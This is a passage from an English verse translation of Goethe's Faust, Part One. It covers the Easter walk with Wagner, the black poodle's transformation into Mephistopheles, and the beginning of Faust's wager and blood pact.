On we march proudly.\ That is a storming!\ \ Life in its splendor!\ Castles and maidens\ Both must surrender.\ Daring the venture,\ Glorious the pay.\ There go the soldiers\ Marching away!\ \ \ FAUST _and_ WAGNER.\ \ _Faust_. Spring's warm look has unfettered the fountains,\ Brooks go tinkling with silvery feet;\ Hope's bright blossoms the valley greet;\ Weakly and sickly up the rough mountains\ Pale old Winter has made his retreat.\ Thence he launches, in sheer despite,\ Sleet and hail in impotent showers,\ O'er the green lawn as he takes his flight;\ But the sun will suffer no white,\ Everywhere waking the formative powers,\ Living colors he yearns to spread;\ Yet, as he finds it too early for flowers,\ Gayly dressed people he takes instead.\ Look from this height whereon we find us\ Back to the town we have left behind us,\ Where from the dark and narrow door\ Forth a motley multitude pour.\ They sun themselves gladly and all are gay,\ They celebrate Christ's resurrection to-day.\ For have not they themselves arisen?\ From smoky huts and hovels and stables,\ From labor's bonds and traffic's prison,\ From the confinement of roofs and gables,\ From many a cramping street and alley,\ From churches full of the old world's night,\ All have come out to the day's broad light.\ See, only see! how the masses sally\ Streaming and swarming through gardens and fields\ How the broad stream that bathes the valley\ Is everywhere cut with pleasure boats' keels,\ And that last skiff, so heavily laden,\ Almost to sinking, puts off in the stream;\ Ribbons and jewels of youngster and maiden\ From the far paths of the mountain gleam.\ How it hums o'er the fields and clangs from the steeple!\ This is the real heaven of the people,\ Both great and little are merry and gay,\ I am a man, too, I can be, to-day.\ \ _Wagner_. With you, Sir Doctor, to go out walking\ Is at all times honor and gain enough;\ But to trust myself here alone would be shocking,\ For I am a foe to all that is rough.\ Fiddling and bowling and screams and laughter\ To me are the hatefullest noises on earth;\ They yell as if Satan himself were after,\ And call it music and call it mirth.\ \ [_Peasants (under the linden). Dance and song._]\ \ The shepherd prinked him for the dance,\ With jacket gay and spangle's glance,\ And all his finest quiddle.\ And round the linden lass and lad\ They wheeled and whirled and danced like mad.\ Huzza! huzza!\ Huzza! Ha, ha, ha!\ And tweedle-dee went the fiddle.\ \ And in he bounded through the whirl,\ And with his elbow punched a girl,\ Heigh diddle, diddle!\ The buxom wench she turned round quick,\ \"Now that I call a scurvy trick!\"\ Huzza! huzza!\ Huzza! ha, ha, ha!\ Tweedle-dee, tweedle-dee went the fiddle.\ \ And petticoats and coat-tails flew\ As up and down they went, and through,\ Across and down the middle.\ They all grew red, they all grew warm,\ And rested, panting, arm in arm,\ Huzza! huzza!\ Ta-ra-la!\ Tweedle-dee went the fiddle!\ \ \"And don't be so familiar there!\ How many a one, with speeches fair,\ His trusting maid will diddle!\"\ But still he flattered her aside--\ And from the linden sounded wide:\ Huzza! huzza!\ Huzza! huzza! ha! ha! ha!\ And tweedle-dee the fiddle.\ \ _Old Peasant._ Sir Doctor, this is kind of you,\ That with us here you deign to talk,\ And through the crowd of folk to-day\ A man so highly larned, walk.\ So take the fairest pitcher here,\ Which we with freshest drink have filled,\ I pledge it to you, praying aloud\ That, while your thirst thereby is stilled,\ So many days as the drops it contains\ May fill out the life that to you remains.\ \ _Faust._ I take the quickening draught and call\ For heaven's best blessing on one and all.\ \ [_The people form a circle round him._]\ \ _Old Peasant._ Your presence with us, this glad day,\ We take it very kind, indeed!\ In truth we've found you long ere this\ In evil days a friend in need!\ Full many a one stands living here,\ Whom, at death's door already laid,\ Your father snatched from fever's rage,\ When, by his skill, the plague he stayed.\ You, a young man, we daily saw\ Go with him to the pest-house then,\ And many a corpse was carried forth,\ But you came out alive again.\ With a charmed life you passed before us,\ Helped by the Helper watching o'er us.\ \ _All._ The well-tried man, and may he live,\ Long years a helping hand to give!\ \ _Faust._ Bow down to Him on high who sends\ His heavenly help and helping friends!\ [_He goes on with_ WAGNER.]\ \ _Wagner._ What feelings, O great man, thy heart must swell\ Thus to receive a people's veneration!\ O worthy all congratulation,\ Whose gifts to such advantage tell.\ The father to his son shows thee with exultation,\ All run and crowd and ask, the circle closer draws,\ The fiddle stops, the dancers pause,\ Thou goest--the lines fall back for thee.\ They fling their gay-decked caps on high;\ A little more and they would bow the knee\ As if the blessed Host came by.\ \ _Faust._ A few steps further on, until we reach that stone;\ There will we rest us from our wandering.\ How oft in prayer and penance there alone,\ Fasting, I sate, on holy mysteries pondering.\ There, rich in hope, in faith still firm,\ I've wept, sighed, wrung my hands and striven\ This plague's removal to extort (poor worm!)\ From the almighty Lord of Heaven.\ The crowd's applause has now a scornful tone;\ O couldst thou hear my conscience tell its story,\ How little either sire or son\ Has done to merit such a glory!\ My father was a worthy man, confused\ And darkened with his narrow lucubrations,\ Who with a whimsical, though well-meant patience,\ On Nature's holy circles mused.\ Shut up in his black laboratory,\ Experimenting without end,\ 'Midst his adepts, till he grew hoary,\ He sought the opposing powers to blend.\ Thus, a red lion,[11] a bold suitor, married\ The silver lily, in the lukewarm bath,\ And, from one bride-bed to another harried,\ The two were seen to fly before the flaming wrath.\ If then, with colors gay and splendid,\ The glass the youthful queen revealed,\ Here was the physic, death the patients' sufferings ended,\ And no one asked, who then was healed?\ Thus, with electuaries so satanic,\ Worse than the plague with all its panic,\ We rioted through hill and vale;\ Myself, with my own hands, the drug to thousands giving,\ They passed away, and I am living\ To hear men's thanks the murderers hail!\ \ _Wagner._ Forbear! far other name that service merits!\ Can a brave man do more or less\ Than with nice conscientiousness\ To exercise the calling he inherits?\ If thou, as youth, thy father honorest,\ To learn from him thou wilt desire;\ If thou, as man, men with new light hast blest,\ Then may thy son to loftier heights aspire.\ \ _Faust._ O blest! who hopes to find repose,\ Up from this mighty sea of error diving!\ Man cannot use what he already knows,\ To use the unknown ever striving.\ But let not such dark thoughts a shadow throw\ O'er the bright joy this hour inspires!\ See how the setting sun, with ruddy glow,\ The green-embosomed hamlet fires!\ He sinks and fades, the day is lived and gone,\ He hastens forth new scenes of life to waken.\ O for a wing to lift and bear me on,\ And on, to where his last rays beckon!\ Then should I see the world's calm breast\ In everlasting sunset glowing,\ The summits all on fire, each valley steeped in rest,\ The silver brook to golden rivers flowing.\ No savage mountain climbing to the skies\ Should stay the godlike course with wild abysses;\ And now the sea, with sheltering, warm recesses\ Spreads out before the astonished eyes.\ At last it seems as if the God were sinking;\ But a new impulse fires the mind,\ Onward I speed, his endless glory drinking,\ The day before me and the night behind,\ The heavens above my head and under me the ocean.\ A lovely dream,--meanwhile he's gone from sight.\ Ah! sure, no earthly wing, in swiftest flight,\ May with the spirit's wings hold equal motion.\ Yet has each soul an inborn feeling\ Impelling it to mount and soar away,\ When, lost in heaven's blue depths, the lark is pealing\ High overhead her airy lay;\ When o'er the mountain pine's black shadow,\ With outspread wing the eagle sweeps,\ And, steering on o'er lake and meadow,\ The crane his homeward journey keeps.\ \ _Wagner._ I've had myself full many a wayward hour,\ But never yet felt such a passion's power.\ One soon grows tired of field and wood and brook,\ I envy not the fowl of heaven his pinions.\ Far nobler joy to soar through thought's dominions\ From page to page, from book to book!\ Ah! winter nights, so dear to mind and soul!\ Warm, blissful life through all the limbs is thrilling,\ And when thy hands unfold a genuine ancient scroll,\ It seems as if all heaven the room were filling.\ \ _Faust_. One passion only has thy heart possessed;\ The other, friend, O, learn it never!\ Two souls, alas! are lodged in my wild breast,\ Which evermore opposing ways endeavor,\ The one lives only on the joys of time,\ Still to the world with clamp-like organs clinging;\ The other leaves this earthly dust and slime,\ To fields of sainted sires up-springing.\ O, are there spirits in the air,\ That empire hold 'twixt earth's and heaven's dominions,\ Down from your realm of golden haze repair,\ Waft me to new, rich life, upon your rosy pinions!\ Ay! were a magic mantle only mine,\ To soar o'er earth's wide wildernesses,\ I would not sell it for the costliest dresses,\ Not for a royal robe the gift resign.\ \ _Wagner_. O, call them not, the well known powers of air,\ That swarm through all the middle kingdom, weaving\ Their fairy webs, with many a fatal snare\ The feeble race of men deceiving.\ First, the sharp spirit-tooth, from out the North,\ And arrowy tongues and fangs come thickly flying;\ Then from the East they greedily dart forth,\ Sucking thy lungs, thy life-juice drying;\ If from the South they come with fever thirst,\ Upon thy head noon's fiery splendors heaping;\ The Westwind brings a swarm, refreshing first,\ Then all thy world with thee in stupor steeping.\ They listen gladly, aye on mischief bent,\ Gladly draw near, each weak point to espy,\ They make believe that they from heaven are sent,\ Whispering like angels, while they lie.\ But let us go! The earth looks gray, my friend,\ The air grows cool, the mists ascend!\ At night we learn our homes to prize.--\ Why dost thou stop and stare with all thy eyes?\ What can so chain thy sight there, in the gloaming?\ \ _Faust_. Seest thou that black dog through stalks and stubble roaming?\ \ _Wagner_. I saw him some time since, he seemed not strange to me.\ \ _Faust_. Look sharply! What dost take the beast to be?\ \ _Wagner_. For some poor poodle who has lost his master,\ And, dog-like, scents him o'er the ground.\ \ _Faust_. Markst thou how, ever nearer, ever faster,\ Towards us his spiral track wheels round and round?\ And if my senses suffer no confusion,\ Behind him trails a fiery glare.\ \ _Wagner_. 'Tis probably an optical illusion;\ I still see only a black poodle there.\ \ _Faust_. He seems to me as he were tracing slyly\ His magic rings our feet at last to snare.\ \ _Wagner_. To me he seems to dart around our steps so shyly,\ As if he said: is one of them my master there?\ \ _Faust_. The circle narrows, he is near!\ \ _Wagner_. Thou seest! a dog we have, no spectre, here!\ He growls and stops, crawls on his belly, too,\ And wags his tail,--as all dogs do.\ \ _Faust_. Come here, sir! come, our comrade be!\ \ _Wagner_. He has a poodle's drollery.\ Stand still, and he, too, waits to see;\ Speak to him, and he jumps on thee;\ Lose something, drop thy cane or sling it\ Into the stream, he'll run and bring it.\ \ _Faust_. I think you're right; I trace no spirit here,\ 'Tis all the fruit of training, that is clear.\ \ _Wagner_. A well-trained dog is a great treasure,\ Wise men in such will oft take pleasure.\ And he deserves your favor and a collar,\ He, of the students the accomplished scholar.\ \ [_They go in through the town gate._]\ \ \ \ \ STUDY-CHAMBER.\ \ _Enter_ FAUST _with the_ POODLE.\ \ \ I leave behind me field and meadow\ Veiled in the dusk of holy night,\ Whose ominous and awful shadow\ Awakes the better soul to light.\ To sleep are lulled the wild desires,\ The hand of passion lies at rest;\ The love of man the bosom fires,\ The love of God stirs up the breast.\ \ Be quiet, poodle! what worrisome fiend hath possest thee,\ Nosing and snuffling so round the door?\ Go behind the stove there and rest thee,\ There's my best pillow--what wouldst thou more?\ As, out on the mountain-paths, frisking and leaping,\ Thou, to amuse us, hast done thy best,\ So now in return lie still in my keeping,\ A quiet, contented, and welcome guest.\ \ When, in our narrow chamber, nightly,\ The friendly lamp begins to burn,\ Then in the bosom thought beams brightly,\ Homeward the heart will then return.\ Reason once more bids passion ponder,\ Hope blooms again and smiles on man;\ Back to life's rills he yearns to wander,\ Ah! to the source where life began.\ \ Stop growling, poodle! In the music Elysian\ That laps my soul at this holy hour,\ These bestial noises have jarring power.\ We know that men will treat with derision\ Whatever they cannot understand,\ At goodness and truth and beauty's vision\ Will shut their eyes and murmur and howl at it;\ And must the dog, too, snarl and growl at it?\ \ But ah, with the best will, I feel already,\ No peace will well up in me, clear and steady.\ But why must hope so soon deceive us,\ And the dried-up stream in fever leave us?\ For in this I have had a full probation.\ And yet for this want a supply is provided,\ To a higher than earth the soul is guided,\ We are ready and yearn for revelation:\ And where are its light and warmth so blent\ As here in the New Testament?\ I feel, this moment, a mighty yearning\ To expound for once the ground text of all,\ The venerable original\ Into my own loved German honestly turning.\ [_He opens the volume, and applies himself to the task_.]\ \"In the beginning was the _Word_.\" I read.\ But here I stick! Who helps me to proceed?\ The _Word_--so high I cannot--dare not, rate it,\ I must, then, otherwise translate it,\ If by the spirit I am rightly taught.\ It reads: \"In the beginning was the _thought_.\"\ But study well this first line's lesson,\ Nor let thy pen to error overhasten!\ Is it the _thought_ does all from time's first hour?\ \"In the beginning,\" read then, \"was the _power_.\"\ Yet even while I write it down, my finger\ Is checked, a voice forbids me there to linger.\ The spirit helps! At once I dare to read\ And write: \"In the beginning was the _deed_.\"\ \ If I with thee must share my chamber,\ Poodle, now, remember,\ No more howling,\ No more growling!\ I had as lief a bull should bellow,\ As have for a chum such a noisy fellow.\ Stop that yell, now,\ One of us must quit this cell now!\ 'Tis hard to retract hospitality,\ But the door is open, thy way is free.\ But what ails the creature?\ Is this in the course of nature?\ Is it real? or one of Fancy's shows?\ \ How long and broad my poodle grows!\ He rises from the ground;\ That is no longer the form of a hound!\ Heaven avert the curse from us!\ He looks like a hippopotamus,\ With his fiery eyes and the terrible white\ Of his grinning teeth! oh what a fright\ Have I brought with me into the house! Ah now,\ No mystery art thou!\ Methinks for such half hellish brood\ The key of Solomon were good.\ \ _Spirits_ [_in the passage_]. Softly! a fellow is caught there!\ Keep back, all of you, follow him not there!\ Like the fox in the trap,\ Mourns the old hell-lynx his mishap.\ But give ye good heed!\ This way hover, that way hover,\ Over and over,\ And he shall right soon be freed.\ Help can you give him,\ O do not leave him!\ Many good turns he's done us,\ Many a fortune won us.\ \ _Faust_. First, to encounter the creature\ By the spell of the Four, says the teacher:\ Salamander shall glisten,[12]\ Undina lapse lightly,\ Sylph vanish brightly,\ Kobold quick listen.\ \ He to whom Nature\ Shows not, as teacher,\ Every force\ And secret source,\ Over the spirits\ No power inherits.\ \ Vanish in glowing\ Flame, Salamander!\ Inward, spirally flowing,\ Gurgle, Undine!\ Gleam in meteoric splendor,\ Airy Queen!\ Thy homely help render,\ Incubus! Incubus!\ Forth and end the charm for us!\ \ No kingdom of Nature\ Resides in the creature.\ He lies there grinning--'tis clear, my charm\ Has done the monster no mite of harm.\ I'll try, for thy curing,\ Stronger adjuring.\ \ Art thou a jail-bird,\ A runaway hell-bird?\ This sign,[13] then--adore it!\ They tremble before it\ All through the dark dwelling.\ \ His hair is bristling--his body swelling.\ \ Reprobate creature!\ Canst read his nature?\ The Uncreated,\ Ineffably Holy,\ With Deity mated,\ Sin's victim lowly?\ \ Driven behind the stove by my spells,\ Like an elephant he swells;\ He fills the whole room, so huge he's grown,\ He waxes shadowy faster and faster.\ Rise not up to the ceiling--down!\ Lay thyself at the feet of thy master!\ Thou seest, there's reason to dread my ire.\ I'll scorch thee with the holy fire!\ Wait not for the sight\ Of the thrice-glowing light!\ Wait not to feel the might\ Of the potentest spell in all my treasure!\ \ \ MEPHISTOPHELES.\ [_As the mist sinks, steps forth from behind the stove,\ dressed as a travelling scholasticus_.]\ Why all this noise? What is your worship's pleasure?\ \ _Faust_. This was the poodle's essence then!\ A travelling clark? Ha! ha! The casus is too funny.\ \ _Mephistopheles_. I bow to the most learned among men!\ 'Faith you did sweat me without ceremony.\ \ _Faust_. What is thy name?\ \ _Mephistopheles_. The question seems too small\ For one who holds the _word_ so very cheaply,\ Who, far removed from shadows all,\ For substances alone seeks deeply.\ \ _Faust_. With gentlemen like him in my presence,\ The name is apt to express the essence,\ Especially if, when you inquire,\ You find it God of flies,[14] Destroyer, Slanderer, Liar.\ Well now, who art thou then?\ \ _Mephistopheles_. A portion of that power,\ Which wills the bad and works the good at every hour.\ \ _Faust_. Beneath thy riddle-word what meaning lies?\ \ _Mephistopheles_. I am the spirit that denies!\ And justly so; for all that time creates,\ He does well who annihilates!\ Better, it ne'er had had beginning;\ And so, then, all that you call sinning,\ Destruction,--all you pronounce ill-meant,--\ Is my original element.\ \ _Faust_. Thou call'st thyself a part, yet lookst complete to me.\ \ _Mephistopheles_. I speak the modest truth to thee.\ A world of folly in one little soul,\ _Man_ loves to think himself a whole;\ Part of the part am I, which once was all, the Gloom\ That brought forth Light itself from out her mighty womb,\ The upstart proud, that now with mother Night\ Disputes her ancient rank and space and right,\ Yet never shall prevail, since, do whate'er he will,\ He cleaves, a slave, to bodies still;\ From bodies flows, makes bodies fair to sight;\ A body in his course can check him,\ His doom, I therefore hope, will soon o'ertake him,\ With bodies merged in nothingness and night.\ \ _Faust_. Ah, now I see thy high vocation!\ In gross thou canst not harm creation,\ And so in small hast now begun.\ \ _Mephistopheles_. And, truth to tell, e'en here, not much have done.\ That which at nothing the gauntlet has hurled,\ This, what's its name? this clumsy world,\ So far as I have undertaken,\ I have to own, remains unshaken\ By wave, storm, earthquake, fiery brand.\ Calm, after all, remain both sea and land.\ And the damn'd living fluff, of man and beast the brood,\ It laughs to scorn my utmost power.\ I've buried myriads by the hour,\ And still there circulates each hour a new, fresh blood.\ It were enough to drive one to distraction!\ Earth, water, air, in constant action,\ Through moist and dry, through warm and cold,\ Going forth in endless germination!\ Had I not claimed of fire a reservation,\ Not one thing I alone should hold.\ \ _Faust_. Thus, with the ever-working power\ Of good dost thou in strife persist,\ And in vain malice, to this hour,\ Clenchest thy cold and devilish fist!\ Go try some other occupation,\ Singular son of Chaos, thou!\ \ _Mephistopheles_. We'll give the thing consideration,\ When next we meet again! But now\ Might I for once, with leave retire?\ \ _Faust_. Why thou shouldst ask I do not see.\ Now that I know thee, when desire\ Shall prompt thee, freely visit me.\ Window and door give free admission.\ At least there's left the chimney flue.\ \ _Mephistopheles_. Let me confess there's one small prohibition\ \ Lies on thy threshold, 'gainst my walking through,\ The wizard-foot--[15]\ \ _Faust_. Does that delay thee?\ The Pentagram disturbs thee? Now,\ Come tell me, son of hell, I pray thee,\ If that spell-binds thee, then how enteredst thou?\ _Thou_ shouldst proceed more circumspectly!\ \ _Mephistopheles_. Mark well! the figure is not drawn correctly;\ One of the angles, 'tis the outer one,\ Is somewhat open, dost perceive it?\ \ _Faust_. That was a lucky hit, believe it!\ And I have caught thee then? Well done!\ 'Twas wholly chance--I'm quite astounded!\ \ _Mephistopheles_. The _poodle_ took no heed,\ as through the door he bounded;\ The case looks differently now;\ The _devil_ can leave the house no-how.\ \ _Faust_. The window offers free emission.\ \ _Mephistopheles_. Devils and ghosts are bound by this condition:\ \ The way they entered in, they must come out. Allow\ In the first clause we're free, yet not so in the second.\ \ _Faust_. In hell itself, then, laws are reckoned?\ Now that I like; so then, one may, in fact,\ Conclude a binding compact with you gentry?\ \ _Mephistopheles_. Whatever promise on our books finds entry,\ We strictly carry into act.\ But hereby hangs a grave condition,\ Of this we'll talk when next we meet;\ But for the present I entreat\ Most urgently your kind dismission.\ \ _Faust_. Do stay but just one moment longer, then,\ Tell me good news and I'll release thee.\ \ _Mephistopheles_. Let me go now! I'll soon come back again,\ Then may'st thou ask whate'er shall please thee.\ \ _Faust_. I laid no snare for thee, old chap!\ Thou shouldst have watched and saved thy bacon.\ Who has the devil in his trap\ Must hold him fast, next time he'll not so soon be taken.\ \ _Mephistopheles_. Well, if it please thee, I'm content to stay\ For company, on one condition,\ That I, for thy amusement, may\ To exercise my arts have free permission.\ \ _Faust_. I gladly grant it, if they be\ Not disagreeable to me.\ \ _Mephistopheles_. Thy senses, friend, in this one hour\ Shall grasp the world with clearer power\ Than in a year's monotony.\ The songs the tender spirits sing thee,\ The lovely images they bring thee\ Are not an idle magic play.\ Thou shalt enjoy the daintiest savor,\ Then feast thy taste on richest flavor,\ Then thy charmed heart shall melt away.\ Come, all are here, and all have been\ Well trained and practised, now begin!\ \ _Spirits_. Vanish, ye gloomy\ Vaulted abysses!\ Tenderer, clearer,\ Friendlier, nearer,\ Ether, look through!\ O that the darkling\ Cloud-piles were riven!\ Starlight is sparkling,\ Purer is heaven,\ Holier sunshine\ Softens the blue.\ Graces, adorning\ Sons of the morning--\ Shadowy wavings--\ Float along over;\ Yearnings and cravings\ After them hover.\ Garments ethereal,\ Tresses aerial,\ Float o'er the flowers,\ Float o'er the bowers,\ Where, with deep feeling,\ Thoughtful and tender,\ Lovers, embracing,\ Life-vows are sealing.\ Bowers on bowers!\ Graceful and slender\ Vines interlacing!\ Purple and blushing,\ Under the crushing\ Wine-presses gushing,\ Grape-blood, o'erflowing,\ Down over gleaming\ Precious stones streaming,\ Leaves the bright glowing\ Tops of the mountains,\ Leaves the red fountains,\ Widening and rushing,\ Till it encloses\ Green hills all flushing,\ Laden with roses.\ Happy ones, swarming,\ Ply their swift pinions,\ Glide through the charming\ Airy dominions,\ Sunward still fleering,\ Onward, where peering\ Far o'er the ocean,\ Islets are dancing\ With an entrancing,\ Magical motion;\ Hear them, in chorus,\ Singing high o'er us;\ Over the meadows\ Flit the bright shadows;\ Glad eyes are glancing,\ Tiny feet dancing.\ Up the high ridges\ Some of them clamber,\ Others are skimming\ Sky-lakes of amber,\ Others are swimming\ Over the ocean;--\ All are in motion,\ Life-ward all yearning,\ Longingly turning\ To the far-burning\ Star-light of bliss.\ \ _Mephistopheles_. He sleeps! Ye airy, tender youths, your numbers\ Have sung him into sweetest slumbers!\ You put me greatly in your debt by this.\ Thou art not yet the man that shall hold fast the devil!\ Still cheat his senses with your magic revel,\ Drown him in dreams of endless youth;\ But this charm-mountain on the sill to level,\ I need, O rat, thy pointed tooth!\ Nor need I conjure long, they're near me,\ E'en now comes scampering one, who presently will hear me.\ \ The sovereign lord of rats and mice,\ Of flies and frogs and bugs and lice,\ Commands thee to come forth this hour,\ And gnaw this threshold with great power,\ As he with oil the same shall smear--\ Ha! with a skip e'en now thou'rt here!\ But brisk to work! The point by which I'm cowered,\ Is on the ledge, the farthest forward.\ Yet one more bite, the deed is done.--\ Now, Faust, until we meet again, dream on!\ \ _Faust_. [_Waking_.] Again has witchcraft triumphed o'er me?\ Was it a ghostly show, so soon withdrawn?\ I dream, the devil stands himself before me--wake, to find a poodle gone!\ \ \ \ \ STUDY-CHAMBER.\ \ FAUST. MEPHISTOPHELES.\ \ \ _Faust_. A knock? Walk in! Who comes again to tease me?\ \ _Mephistopheles_. 'Tis I.\ \ _Faust_. Come in!\ \ _Mephistopheles_. Must say it thrice, to please me.\ \ _Faust_. Come in then!\ \ _Mephistopheles_. That I like to hear.\ We shall, I hope, bear with each other;\ For to dispel thy crotchets, brother,\ As a young lord, I now appear,\ In scarlet dress, trimmed with gold lacing,\ A stiff silk cloak with stylish facing,\ A tall cock's feather in my hat,\ A long, sharp rapier to defend me,\ And I advise thee, short and flat,\ In the same costume to attend me;\ If thou wouldst, unembarrassed, see\ What sort of thing this life may be.\ \ _Faust_. In every dress I well may feel the sore\ Of this low earth-life's melancholy.\ I am too old to live for folly,\ Too young, to wish for nothing more.\ Am I content with all creation?\ Renounce! renounce! Renunciation--\ Such is the everlasting song\ That in the ears of all men rings,\ Which every hour, our whole life long,\ With brazen accents hoarsely sings.\ With terror I behold each morning's light,\ With bitter tears my eyes are filling,\ To see the day that shall not in its flight\ Fulfil for me one wish, not one, but killing\ Every presentiment of zest\ With wayward skepticism, chases\ The fair creations from my breast\ With all life's thousand cold grimaces.\ And when at night I stretch me on my bed\ And darkness spreads its shadow o'er me;\ No rest comes then anigh my weary head,\ Wild dreams and spectres dance before me.\ The God who dwells within my soul\ Can heave its depths at any hour;\ Who holds o'er all my faculties control\ Has o'er the outer world no power;\ Existence lies a load upon my breast,\ Life is a curse and death a long'd-for rest.\ \ _Mephistopheles_. And yet death never proves a wholly welcome guest.\ \ _Faust_. O blest! for whom, when victory's joy fire blazes,\ Death round his brow the bloody laurel windeth,\ Whom, weary with the dance's mazes,\ He on a maiden's bosom findeth.\ O that, beneath the exalted spirit's power,\ I had expired, in rapture sinking!\ \ _Mephistopheles_. And yet I knew one, in a midnight hour,\ Who a brown liquid shrank from drinking.\ \ _Faust_. Eaves-dropping seems a favorite game with thee.\ \ _Mephistopheles_. Omniscient am I not; yet much is known to me.\ \ _Faust_. Since that sweet tone, with fond appealing,\ Drew me from witchcraft's horrid maze,\ And woke the lingering childlike feeling\ With harmonies of happier days;\ My curse on all the mock-creations\ That weave their spell around the soul,\ And bind it with their incantations\ And orgies to this wretched hole!\ Accursed be the high opinion\ Hugged by the self-exalting mind!\ Accursed all the dream-dominion\ That makes the dazzled senses blind!\ Curs'd be each vision that befools us,\ Of fame, outlasting earthly life!\ Curs'd all that, as possession, rules us,\ As house and barn, as child and wife!\ Accurs'd be mammon, when with treasure\ He fires our hearts for deeds of might,\ When, for a dream of idle pleasure,\ He makes our pillow smooth and light!\ Curs'd be the grape-vine's balsam-juices!\ On love's high grace my curses fall!\ On faith! On hope that man seduces,\ On patience last, not least, of all!\ \ _Choir of spirits_. [_Invisible_.] Woe! Woe!\ Thou hast ground it to dust,\ The beautiful world,\ With mighty fist;\ To ruins 'tis hurled;\ A demi-god's blow hath done it!\ A moment we look upon it,\ Then carry (sad duty!)\ The fragments over into nothingness,\ With tears unavailing\ Bewailing\ All the departed beauty.\ Lordlier\ Than all sons of men,\ Proudlier\ Build it again,\ Build it up in thy breast anew!\ A fresh career pursue,\ Before thee\ A clearer view,\ And, from the Empyréan,\ A new-born Paean\ Shall greet thee, too!\ \ _Mephistopheles_. Be pleased to admire\ My juvenile choir!\ Hear how they counsel in manly measure\ Action and pleasure!\ Out into life,\ Its joy and strife,\ Away from this lonely hole,\ Where senses and soul\ Rot in stagnation,\ Calls thee their high invitation.\ \ Give over toying with thy sorrow\ Which like a vulture feeds upon thy heart;\ Thou shalt, in the worst company, to-morrow\ Feel that with men a man thou art.\ Yet I do not exactly intend\ Among the canaille to plant thee.\ I'm none of your magnates, I grant thee;\ Yet if thou art willing, my friend,\ Through life to jog on beside me,\ Thy pleasure in all things shall guide me,\ To thee will I bind me,\ A friend thou shalt find me,\ And, e'en to the grave,\ Shalt make me thy servant, make me thy slave!\ \ _Faust_. And in return what service shall I render?\ \ _Mephistopheles_. There's ample grace--no hurry, not the least.\ \ _Faust_. No, no, the devil is an egotist,\ And does not easily \"for God's sake\" tender\ That which a neighbor may assist.\ Speak plainly the conditions, come!\ 'Tis dangerous taking such a servant home.\ \ _Mephistopheles_. I to thy service _here_ agree to bind me,\ To run and never rest at call of thee;\ When _over yonder_ thou shalt find me,\ Then thou shalt do as much for me.\ \ _Faust_. I care not much what's over yonder:\ When thou hast knocked this world asunder,\ Come if it will the other may!\ Up from this earth my pleasures all are streaming,\ Down on my woes this earthly sun is beaming;\ Let me but end this fit of dreaming,\ Then come what will, I've nought to say.\ I'll hear no more of barren wonder\ If in that world they hate and love,\ And whether in that future yonder\ There's a Below and an Above.\ \ _Mephistopheles._ In such a mood thou well mayst venture.\ Bind thyself to me, and by this indenture\ Thou shalt enjoy with relish keen\ Fruits of my arts that man had never seen.\ \ _Faust_. And what hast thou to give, poor devil?\ Was e'er a human mind, upon its lofty level,\ Conceived of by the like of thee?\ Yet hast thou food that brings satiety,\ Not satisfaction; gold that reftlessly,\ Like quicksilver, melts down within\ The hands; a game in which men never win;\ A maid that, hanging on my breast,\ Ogles a neighbor with her wanton glances;\ Of fame the glorious godlike zest,\ That like a short-lived meteor dances--\ Show me the fruit that, ere it's plucked, will rot,\ And trees from which new green is daily peeping!\ \ _Mephistopheles_. Such a requirement scares me not;\ Such treasures have I in my keeping.\ Yet shall there also come a time, good friend,\ When we may feast on good things at our leisure.\ \ _Faust_. If e'er I lie content upon a lounge of pleasure--\ Then let there be of me an end!\ When thou with flattery canst cajole me,\ Till I self-satisfied shall be,\ When thou with pleasure canst befool me,\ Be that the last of days for me!\ I lay the wager!\ \ _Mephistopheles_. Done!\ \ _Faust_. And heartily!\ Whenever to the passing hour\ I cry: O stay! thou art so fair!\ To chain me down I give thee power\ To the black bottom of despair!\ Then let my knell no longer linger,\ Then from my service thou art free,\ Fall from the clock the index-finger,\ Be time all over, then, for me!\ \ _Mephistopheles_. Think well, for we shall hold you to the letter.\ \ _Faust_. Full right to that just now I gave;\ I spoke not as an idle braggart better.\ Henceforward I remain a slave,\ What care I who puts on the setter?\ \ _Mephistopheles_. I shall this very day, at Doctor's-feast,[16]\ My bounden service duly pay thee.\ But one thing!--For insurance' sake, I pray thee,\ Grant me a line or two, at least.\ \ _Faust_. Pedant! will writing gain thy faith, alone?\ In all thy life, no man, nor man's word hast thou known?\ Is't not enough that I the fatal word\ That passes on my future days have spoken?\ The world-stream raves and rushes (hast not heard?)\ And shall a promise hold, unbroken?\ Yet this delusion haunts the human breast,\ Who from his soul its roots would sever?\ Thrice happy in whose heart pure truth finds rest.\ No sacrifice shall he repent of ever!\ But from a formal, written, sealed attest,\ As from a spectre, all men shrink forever.\ The word and spirit die together,\ Killed by the sight of wax and leather.\ What wilt thou, evil sprite, from me?\ Brass, marble, parchment, paper, shall it be?\ Shall I subscribe with pencil, pen or graver?\ Among them all thy choice is free.\ \ _Mephistopheles_. This rhetoric of thine to me\ Hath a somewhat bombastic savor.\ Any small scrap of paper's good.\ Thy signature will need a single drop of blood.[17]\ \ _Faust_. If this will satisfy thy mood,\ I will consent thy whim to favor.\ \ _Mephistopheles._ Quite a peculiar juice is blood.\ \ _Faust_. Fear not that I shall break this bond; O, never!\ My promise, rightly understood,\ Fulfils my nature's whole endeavor.\ I've puffed myself too high, I see;\ To _thy_ rank only I belong.\ The Lord of Spirits scorneth me,\ Nature, shut up, resents the wrong.\ The thread of thought is snapt asunder,\ All science to me is a stupid blunder.\ Let us in sensuality's deep\ Quench the passions within us blazing!\ And, the veil of sorcery raising,\ Wake each miracle from its long sleep!\ Plunge we into the billowy dance,\ The rush and roll of time and chance!\ Then may pleasure and distress,\ Disappointment and success,\ Follow each other as fast as they will;\ Man's restless activity flourishes still.\ \ _Mephistopheles_. No bound or goal is set to you;\ Where'er you like to wander sipping,\ And catch a tit-bit in your skipping,\ Eschew all coyness, just fall to,\ And may you find a good digestion!\ \ _Faust_. Now, once for all, pleasure is not the question.\ I'm sworn to passion's whirl, the agony of bliss,\ The lover's hate, the sweets of bitterness.\ My heart, no more by pride of science driven,\ Shall open wide to let each sorrow enter,\ And all the good that to man's race is given,\ I will enjoy it to my being's centre,\ Through life's whole range, upward and downward sweeping,\ Their weal and woe upon my bosom heaping,\ Thus in my single self their selves all comprehending\ And with them in a common shipwreck ending.\ \ _Mephistopheles_. O trust me, who since first I fell from heaven,\ Have chewed this tough meat many a thousand year,\ No man digests the ancient leaven,\ No mortal, from the cradle to the bier.\ Trust one of _us_--the _whole_ creation\ To God alone belongs by right;\ _He_ has in endless day his habitation,\ _Us_ He hath made for utter night,\ _You_ for alternate dark and light.\ \ 